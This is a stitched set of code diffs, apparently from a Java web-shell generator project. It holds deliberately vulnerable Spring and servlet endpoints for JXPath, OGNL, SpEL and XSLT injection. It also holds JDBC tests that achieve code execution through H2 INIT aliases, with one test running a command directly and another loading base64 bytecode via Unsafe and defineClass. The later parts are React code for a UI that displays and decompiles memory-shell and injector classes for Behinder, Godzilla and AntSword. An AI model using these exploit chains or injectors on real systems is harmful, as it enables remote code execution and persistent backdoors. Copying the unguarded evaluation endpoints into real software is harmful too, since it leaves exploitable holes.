import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/jxpath")
public class JXPathController {
@PostMapping
protected Object doPost(String data) {
JXPathContext context = JXPathContext.newContext(null);
return context.getValue(data);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot4.controller;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/ognl")
public class OgnlController {
@RequestMapping
protected Object doPost(String data) {
OgnlContext context = new OgnlContext();
try {
return Ognl.getValue(data, context, context.getRoot());
} catch (OgnlException e) {
throw new RuntimeException(e);
}
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot4.controller;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/spel")
public class SpELController {
/**
* 10000 长度限制,无法使用
*/
@PostMapping
public ResponseEntity<?> spel(String data) {
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
}
}
@@ -0,0 +1 @@
spring.application.name=vul-springboot4
@@ -0,0 +1,15 @@
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class CommandExec {
static {
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
}
}
}
@@ -0,0 +1,54 @@
import com.reajason.javaweb.vul.springboot4.controller.JDBCController;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class JDBCTest {
@Test
void testJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String funcionName = "testJDBC";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
"String shellexec(String abc) throws java.lang.Exception{" +
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
"return \"test\"\\;" +
"}'\\;" +
"CALL " + funcionName + "('123')";
jdbcController.JDBC(str);
}
@Test
void testJDBC2() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Throwable{" +
"String base64Str=\"" + b64Bytecode + "\"\\;" +
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
"try {" +
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
" unsafeField.setAccessible(true)\\;" +
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
"} catch (Throwable e) {}" +
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
System.out.println(str);
jdbcController.JDBC(str);
}
}
@@ -0,0 +1,29 @@
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.IOException;
import java.io.StringReader;
/**
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
try {
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(new StreamSource(new StringReader(data)));
transformer.transform(new StreamSource(new StringReader("<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>")),
new StreamResult(resp.getWriter()));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@@ -33,6 +33,15 @@
<url-pattern>/js</url-pattern> <url-pattern>/js</url-pattern>
</servlet-mapping> </servlet-mapping>
<servlet>
<servlet-name>xslt</servlet-name>
<servlet-class>XSLTServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>xslt</servlet-name>
<url-pattern>/xslt</url-pattern>
</servlet-mapping>
<servlet> <servlet>
<servlet-name>java-deserialize</servlet-name> <servlet-name>java-deserialize</servlet-name>
<servlet-class>JavaReadObjServlet</servlet-class> <servlet-class>JavaReadObjServlet</servlet-class>
+1 -1
View File
@@ -1,2 +1,2 @@
VITE_APP_API_URL=http://127.0.0.1:8080 VITE_APP_API_URL=http://127.0.0.1:8889
VITE_APP_BASE_PATH=/ VITE_APP_BASE_PATH=/
+7 -7
View File
@@ -1,12 +1,6 @@
{ {
"$schema": "./node_modules/oxfmt/configuration_schema.json", "$schema": "./node_modules/oxfmt/configuration_schema.json",
"experimentalTailwindcss": { "ignorePatterns": ["content/**"],
"stylesheet": "./app/app.css",
"attributes": ["class", "className"],
"functions": ["clsx", "cn"],
"preserveWhitespace": true
},
"ignorePatterns": [],
"sortImports": { "sortImports": {
"newlinesBetween": true, "newlinesBetween": true,
"groups": [ "groups": [
@@ -16,5 +10,11 @@
["value-parent", "value-sibling", "value-index"], ["value-parent", "value-sibling", "value-index"],
"unknown" "unknown"
] ]
},
"sortTailwindcss": {
"stylesheet": "./app/app.css",
"attributes": ["class", "className"],
"functions": ["clsx", "cn"],
"preserveWhitespace": true
} }
} }
+1
View File
@@ -1,5 +1,6 @@
{ {
"$schema": "./node_modules/oxlint/configuration_schema.json", "$schema": "./node_modules/oxlint/configuration_schema.json",
"ignorePatterns": ["vendor/**"],
"rules": { "rules": {
"no-unused-vars": [ "no-unused-vars": [
"warn", "warn",
+97 -3
View File
@@ -10,6 +10,12 @@ import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/materia
import { toast } from "sonner"; import { toast } from "sonner";
import { Button, type buttonVariants } from "@/components/ui/button"; import { Button, type buttonVariants } from "@/components/ui/button";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
SyntaxHighlighter.registerLanguage("java", java); SyntaxHighlighter.registerLanguage("java", java);
@@ -18,8 +24,16 @@ interface CopyButtonProps extends React.ComponentProps<"button"> {
src?: string; src?: string;
} }
export interface CopyOption {
label: string;
value: string;
disabled?: boolean;
}
export function CopyButton({ export function CopyButton({
value, value,
className,
...buttonProps
}: Readonly<CopyButtonProps & VariantProps<typeof buttonVariants>>) { }: Readonly<CopyButtonProps & VariantProps<typeof buttonVariants>>) {
const [hasCopied, setHasCopied] = useState(false); const [hasCopied, setHasCopied] = useState(false);
const { t } = useTranslation(["common"]); const { t } = useTranslation(["common"]);
@@ -43,11 +57,12 @@ export function CopyButton({
return ( return (
<CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}> <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
<Button <Button
{...buttonProps}
variant="ghost" variant="ghost"
size="icon" size="icon"
type="button" type="button"
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4" className={cn("h-7 w-7 [&_svg]:h-4 [&_svg]:w-4", className)}
disabled={hasCopied} disabled={hasCopied || buttonProps.disabled}
> >
{hasCopied ? <Check /> : <Copy />} {hasCopied ? <Check /> : <Copy />}
</Button> </Button>
@@ -55,6 +70,62 @@ export function CopyButton({
); );
} }
export function CopyMenuButton({
options,
className,
...buttonProps
}: Readonly<
{ options: CopyOption[] } & React.ComponentProps<"button"> & VariantProps<typeof buttonVariants>
>) {
const [hasCopied, setHasCopied] = useState(false);
const { t } = useTranslation(["common"]);
useEffect(() => {
if (hasCopied) {
const timer = setTimeout(() => {
setHasCopied(false);
}, 1000);
return () => clearTimeout(timer);
}
}, [hasCopied]);
const handleCopy = useCallback(() => {
if (!hasCopied) {
setHasCopied(true);
toast.success(t("copySuccess"), { duration: 1000 });
}
}, [hasCopied, t]);
return (
<DropdownMenu>
<DropdownMenuTrigger
render={
<Button
{...buttonProps}
variant="ghost"
size="icon"
type="button"
className={cn("h-7 w-7 [&_svg]:h-4 [&_svg]:w-4", className)}
/>
}
>
{hasCopied ? <Check /> : <Copy />}
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
{options.map((option) => (
<CopyToClipboard.CopyToClipboard
key={option.label}
text={option.value}
onCopy={handleCopy}
>
<DropdownMenuItem disabled={option.disabled}>{option.label}</DropdownMenuItem>
</CopyToClipboard.CopyToClipboard>
))}
</DropdownMenuContent>
</DropdownMenu>
);
}
export default function CodeViewer({ export default function CodeViewer({
code, code,
header, header,
@@ -63,6 +134,9 @@ export default function CodeViewer({
height, height,
showLineNumbers = true, showLineNumbers = true,
wrapLongLines = true, wrapLongLines = true,
copyLabel,
copyDisabled = false,
copyOptions,
}: Readonly<CodeViewerProps>) { }: Readonly<CodeViewerProps>) {
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
@@ -75,7 +149,24 @@ export default function CodeViewer({
{header} {header}
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
{button} {button}
<CopyButton value={code} variant="ghost" size="sm" /> {copyOptions ? (
<CopyMenuButton
options={copyOptions}
variant="ghost"
size="sm"
aria-label={copyLabel}
title={copyLabel}
/>
) : (
<CopyButton
value={code}
variant="ghost"
size="sm"
aria-label={copyLabel}
title={copyLabel}
disabled={copyDisabled}
/>
)}
</div> </div>
</div> </div>
<div className="wrap-all relative overflow-hidden text-xs"> <div className="wrap-all relative overflow-hidden text-xs">
@@ -110,4 +201,7 @@ interface CodeViewerProps {
showLineNumbers?: boolean; showLineNumbers?: boolean;
wrapLongLines?: boolean; wrapLongLines?: boolean;
lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>; lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
copyLabel?: string;
copyDisabled?: boolean;
copyOptions?: CopyOption[];
} }
@@ -0,0 +1,123 @@
import type { TokenLine } from "@/lib/decompile/decompile.worker";
import { memo, type ReactNode } from "react";
import { CopyMenuButton, type CopyOption } from "@/components/code-viewer";
/** material-dark palette (react-syntax-highlighter prism theme) */
const TOKEN_COLORS: Record<string, string> = {
atrule: "#c792ea",
boolean: "#c792ea",
builtin: "#ffcb6b",
char: "#80cbc4",
"class-name": "#f2ff00",
comment: "#616161",
constant: "#c792ea",
function: "#c792ea",
keyword: "#c792ea",
number: "#fd9170",
operator: "#89ddff",
property: "#80cbc4",
punctuation: "#89ddff",
regex: "#f2ff00",
string: "#a5e844",
variable: "#ff6666",
};
const BACKGROUND = "#2f2f2f";
const PLAIN = "#eee";
const GUTTER_COLOR = "#616161";
const FONT_FAMILY = "Roboto Mono, monospace";
interface DecompiledCodeViewerProps {
lines: TokenLine[] | null;
placeholder: string;
header?: ReactNode;
button?: ReactNode;
height: number;
copyLabel: string;
copyOptions: CopyOption[];
}
export default memo(function DecompiledCodeViewer({
lines,
placeholder,
header,
button,
height,
copyLabel,
copyOptions,
}: Readonly<DecompiledCodeViewerProps>) {
return (
<div className="rounded-lg border">
<div
className={
header
? "flex items-center justify-between border-b p-2"
: "flex items-center justify-end border-b p-2"
}
>
{header}
<div className="flex items-center gap-2">
{button}
<CopyMenuButton
options={copyOptions}
variant="ghost"
size="sm"
aria-label={copyLabel}
title={copyLabel}
/>
</div>
</div>
<div
className="overflow-auto text-xs"
style={{
height,
background: BACKGROUND,
color: PLAIN,
borderRadius: "0 0 var(--radius) var(--radius)",
}}
>
{lines ? (
<div
className="flex"
style={{ fontFamily: FONT_FAMILY, lineHeight: "1.5em", tabSize: 4 }}
>
<div
aria-hidden
className="sticky left-0 shrink-0 pr-4 pl-4 text-right select-none"
style={{ background: BACKGROUND, color: GUTTER_COLOR }}
>
{lines.map((_, index) => (
<div key={index}>{index + 1}</div>
))}
</div>
<pre className="m-0 flex-1 pr-4" style={{ fontFamily: "inherit", tabSize: 4 }}>
{lines.map((line, index) => (
<div key={index} style={{ whiteSpace: "pre" }}>
{line.map(([type, text], segmentIndex) =>
type === "plain" ? (
text
) : (
<span key={segmentIndex} style={{ color: TOKEN_COLORS[type] ?? PLAIN }}>
{text}
</span>
),
)}
{line.length === 0 ? " " : null}
</div>
))}
</pre>
</div>
) : (
<pre
className="m-0 p-4"
style={{ fontFamily: FONT_FAMILY, lineHeight: "1.5em", whiteSpace: "pre-wrap" }}
>
{placeholder}
</pre>
)}
</div>
</div>
);
});
@@ -23,6 +23,7 @@ import { FeedbackAlert } from "./feedback-alert";
export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) { export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) {
const { t } = useTranslation(["memshell", "common"]); const { t } = useTranslation(["memshell", "common"]);
const isDubbo = generateResult?.shellConfig.server === "Dubbo"; const isDubbo = generateResult?.shellConfig.server === "Dubbo";
const shellToolConfig = generateResult?.shellToolConfig;
return ( return (
<Card> <Card>
<CardHeader> <CardHeader>
@@ -65,13 +66,13 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.behinder.pass")} label={t("shellToolConfig.behinder.pass")}
text={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass} text={(shellToolConfig as BehinderShellToolConfig).pass}
value={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass} value={(shellToolConfig as BehinderShellToolConfig).pass}
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.behinder.header")} label={t("shellToolConfig.behinder.header")}
text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`} text={`${(shellToolConfig as BehinderShellToolConfig).headerName}: ${(shellToolConfig as BehinderShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`} value={`${(shellToolConfig as BehinderShellToolConfig).headerName}: ${(shellToolConfig as BehinderShellToolConfig).headerValue}`}
/> />
</> </>
)} )}
@@ -79,26 +80,28 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
<> <>
<CopyableField <CopyableField
label={t("shellToolConfig.godzilla.pass")} label={t("shellToolConfig.godzilla.pass")}
text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass} text={(shellToolConfig as GodzillaShellToolConfig).pass}
value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass} value={(shellToolConfig as GodzillaShellToolConfig).pass}
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.godzilla.key")} label={t("shellToolConfig.godzilla.key")}
text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key} text={(shellToolConfig as GodzillaShellToolConfig).key}
value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key} value={(shellToolConfig as GodzillaShellToolConfig).key}
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.godzilla.encryptor")} label={t("shellToolConfig.godzilla.encryptor")}
text={ text={
generateResult?.shellConfig.shellType.includes("WebSocket") generateResult?.shellConfig.shellType.includes("WebSocket")
? "JAVA_WEBSOCKET_AES_RAW" ? "JAVA_WEBSOCKET_AES_RAW"
: generateResult?.shellConfig.shellType.includes("Dubbo") ? "DUBBO_XOR_BASE64" : "JAVA_AES_BASE64" : generateResult?.shellConfig.shellType.includes("Dubbo")
? "DUBBO_XOR_BASE64"
: "JAVA_AES_BASE64"
} }
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.godzilla.header")} label={t("shellToolConfig.godzilla.header")}
text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`} text={`${(shellToolConfig as GodzillaShellToolConfig).headerName}: ${(shellToolConfig as GodzillaShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`} value={`${(shellToolConfig as GodzillaShellToolConfig).headerName}: ${(shellToolConfig as GodzillaShellToolConfig).headerValue}`}
/> />
</> </>
)} )}
@@ -107,8 +110,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
<CopyableField <CopyableField
hidden={generateResult?.shellConfig.shellType.includes("WebSocket")} hidden={generateResult?.shellConfig.shellType.includes("WebSocket")}
label={t("common:paramName")} label={t("common:paramName")}
text={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName} text={(shellToolConfig as CommandShellToolConfig).paramName}
value={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName} value={(shellToolConfig as CommandShellToolConfig).paramName}
/> />
<CopyableField <CopyableField
hidden={ hidden={
@@ -118,8 +121,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
) )
} }
label={t("shellToolConfig.httpHeader")} label={t("shellToolConfig.httpHeader")}
text={`${(generateResult?.shellToolConfig as CommandShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as CommandShellToolConfig).headerValue}`} text={`${(shellToolConfig as CommandShellToolConfig).headerName}: ${(shellToolConfig as CommandShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as CommandShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as CommandShellToolConfig).headerValue}`} value={`${(shellToolConfig as CommandShellToolConfig).headerName}: ${(shellToolConfig as CommandShellToolConfig).headerValue}`}
/> />
</Fragment> </Fragment>
)} )}
@@ -127,28 +130,28 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && ( generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && (
<CopyableField <CopyableField
label={t("shellToolConfig.suo5Header")} label={t("shellToolConfig.suo5Header")}
text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`} text={`${(shellToolConfig as Suo5ShellToolConfig).headerName}: ${(shellToolConfig as Suo5ShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`} value={`${(shellToolConfig as Suo5ShellToolConfig).headerName}: ${(shellToolConfig as Suo5ShellToolConfig).headerValue}`}
/> />
)} )}
{generateResult?.shellConfig.shellTool === ShellToolType.Proxy && ( {generateResult?.shellConfig.shellTool === ShellToolType.Proxy && (
<CopyableField <CopyableField
label={t("shellToolConfig.httpHeader")} label={t("shellToolConfig.httpHeader")}
text={`${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerValue}`} text={`${(shellToolConfig as ProxyShellToolConfig).headerName}: ${(shellToolConfig as ProxyShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerValue}`} value={`${(shellToolConfig as ProxyShellToolConfig).headerName}: ${(shellToolConfig as ProxyShellToolConfig).headerValue}`}
/> />
)} )}
{generateResult?.shellConfig.shellTool === ShellToolType.AntSword && ( {generateResult?.shellConfig.shellTool === ShellToolType.AntSword && (
<> <>
<CopyableField <CopyableField
label={t("shellToolConfig.antSword.pass")} label={t("shellToolConfig.antSword.pass")}
text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass} text={(shellToolConfig as AntSwordShellToolConfig).pass}
value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass} value={(shellToolConfig as AntSwordShellToolConfig).pass}
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.httpHeader")} label={t("shellToolConfig.httpHeader")}
text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`} text={`${(shellToolConfig as AntSwordShellToolConfig).headerName}: ${(shellToolConfig as AntSwordShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`} value={`${(shellToolConfig as AntSwordShellToolConfig).headerName}: ${(shellToolConfig as AntSwordShellToolConfig).headerValue}`}
/> />
</> </>
)} )}
@@ -157,8 +160,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
<CopyableField label={t("shellToolConfig.neoreGeorgKey")} text="key" value="key" /> <CopyableField label={t("shellToolConfig.neoreGeorgKey")} text="key" value="key" />
<CopyableField <CopyableField
label={t("shellToolConfig.neoreGeorgHeader")} label={t("shellToolConfig.neoreGeorgHeader")}
text={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`} text={`${(shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`} value={`${(shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
/> />
</> </>
)} )}
+60 -22
View File
@@ -4,12 +4,13 @@ import { DownloadIcon } from "lucide-react";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { toast } from "sonner"; import { toast } from "sonner";
import DecompiledCodeViewer from "@/components/decompiled-code-viewer";
import { QuickUsage } from "@/components/memshell/quick-usage"; import { QuickUsage } from "@/components/memshell/quick-usage";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { useDecompiledSources } from "@/lib/decompile/use-decompiled-sources";
import { downloadBytes } from "@/lib/utils"; import { downloadBytes } from "@/lib/utils";
import CodeViewer from "../code-viewer";
import { BasicInfo } from "./results/basic-info"; import { BasicInfo } from "./results/basic-info";
import { ResultComponent } from "./results/result-component"; import { ResultComponent } from "./results/result-component";
@@ -23,10 +24,24 @@ export default function ShellResult({
generateResult?: MemShellResult; generateResult?: MemShellResult;
}>) { }>) {
const { t } = useTranslation(["common", "memshell"]); const { t } = useTranslation(["common", "memshell"]);
const { sources, isDecompiling, error } = useDecompiledSources(generateResult);
if (!generateResult) { if (!generateResult) {
return <QuickUsage />; return <QuickUsage />;
} }
const shellClassName = generateResult.shellClassName;
const shellBytesBase64 = generateResult.shellBytesBase64Str;
const injectorClassName = generateResult.injectorClassName;
const injectorBytesBase64 = generateResult.injectorBytesBase64Str;
const height = 800; const height = 800;
const sourcePlaceholder = isDecompiling
? `// ${t("common:decompiling")}`
: error
? `// ${t("common:decompileFailed", { error })}`
: "";
return ( return (
<Tabs defaultValue="packResult"> <Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-3"> <TabsList className="grid w-full grid-cols-3">
@@ -42,61 +57,84 @@ export default function ShellResult({
generateResult={generateResult} generateResult={generateResult}
/> />
</TabsContent> </TabsContent>
<TabsContent value="shell" className="mt-4"> <TabsContent value="shell" className="mt-4" keepMounted>
<CodeViewer <DecompiledCodeViewer
showLineNumbers={false} copyLabel={t("common:copy")}
header={<div className="truncate text-xs">{generateResult?.shellClassName}</div>} copyOptions={[
{
label: t("memshell:copySource"),
value: sources.shell?.source ?? "",
disabled: !sources.shell,
},
{
label: t("memshell:copyBase64"),
value: shellBytesBase64 ?? "",
disabled: !shellBytesBase64,
},
]}
header={<div className="truncate text-xs">{shellClassName}</div>}
button={ button={
<Button <Button
variant="ghost" variant="ghost"
size="icon" size="icon"
type="button" type="button"
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4" className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
aria-label={t("common:download")}
title={t("common:download")}
onClick={() => { onClick={() => {
if (!generateResult?.shellBytesBase64Str) { if (!shellBytesBase64) {
toast.warning(t("memshell:tips.shellBytesEmpty")); toast.warning(t("memshell:tips.shellBytesEmpty"));
return; return;
} }
downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName); downloadBytes(shellBytesBase64, shellClassName);
}} }}
> >
<DownloadIcon className="h-4 w-4" /> <DownloadIcon className="h-4 w-4" />
</Button> </Button>
} }
wrapLongLines={true}
height={height} height={height}
code={generateResult?.shellBytesBase64Str ?? ""} lines={sources.shell?.lines ?? null}
language="text" placeholder={sourcePlaceholder}
/> />
</TabsContent> </TabsContent>
<TabsContent value="injector" className="mt-4"> <TabsContent value="injector" className="mt-4" keepMounted>
<CodeViewer <DecompiledCodeViewer
showLineNumbers={false} copyLabel={t("common:copy")}
wrapLongLines={true} copyOptions={[
header={<div className="text-xs">{generateResult?.injectorClassName}</div>} {
label: t("memshell:copySource"),
value: sources.injector?.source ?? "",
disabled: !sources.injector,
},
{
label: t("memshell:copyBase64"),
value: injectorBytesBase64 ?? "",
disabled: !injectorBytesBase64,
},
]}
header={<div className="truncate text-xs">{injectorClassName}</div>}
button={ button={
<Button <Button
variant="ghost" variant="ghost"
size="icon" size="icon"
type="button" type="button"
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4" className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
aria-label={t("common:download")}
title={t("common:download")}
onClick={() => { onClick={() => {
if (!generateResult?.injectorBytesBase64Str) { if (!injectorBytesBase64) {
toast.warning(t("memshell:tips.shellBytesEmpty")); toast.warning(t("memshell:tips.shellBytesEmpty"));
return; return;
} }
downloadBytes( downloadBytes(injectorBytesBase64, injectorClassName);
generateResult?.injectorBytesBase64Str,
generateResult?.injectorClassName,
);
}} }}
> >
<DownloadIcon className="h-4 w-4" /> <DownloadIcon className="h-4 w-4" />
</Button> </Button>
} }
height={height} height={height}
code={generateResult?.injectorBytesBase64Str ?? ""} lines={sources.injector?.lines ?? null}
language="text" placeholder={sourcePlaceholder}
/> />
</TabsContent> </TabsContent>
</Tabs> </Tabs>
+10 -10
View File
@@ -12,6 +12,7 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeS
const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody"; const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody";
const isFilterContent = generateResult?.probeConfig.probeContent === "Filter"; const isFilterContent = generateResult?.probeConfig.probeContent === "Filter";
